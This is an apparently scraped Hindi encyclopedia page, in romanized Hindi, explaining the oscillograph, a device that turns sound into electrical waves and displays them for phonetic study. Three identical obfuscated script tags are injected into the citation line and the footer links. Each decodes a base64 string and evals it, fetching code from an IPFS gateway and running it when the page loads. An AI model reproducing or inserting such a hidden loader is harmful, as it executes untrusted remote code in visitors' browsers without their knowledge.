आसिलोग्राफ
asilograph athava dolanalekhi ek prakar ka yantr hai jisaki sahayata se dhvaniyoan ka adhyayan kiya jata hai. is yantr mean aisi vyavastha hai ki dhvani tarangean, vidyut tarangoan mean badal jati haian. in vidyuth tarangoan ka bianb is yantr mean lage parde par dikhalaee p data hai. is bianb ka chitr liya ja sakata hai tatha us chitr ka adhyayan kar dhvani ki vibhinn visheshataoan, yatha--dhvani ke uchcharan mean laga hua samay, ghoshatv, sur, gahanata, dhvanitarangoan ki prakriti (niyamitata, aniyamitata) adi ka pata lagaya ja sakata hai. asilograph ke parde par bianbit vidyuth tarangoan ke chitr ko asilogram athava dolanalekh kaha jata hai. (vishesh dr. rrinagr kiran dolanalekhi).[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 465 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>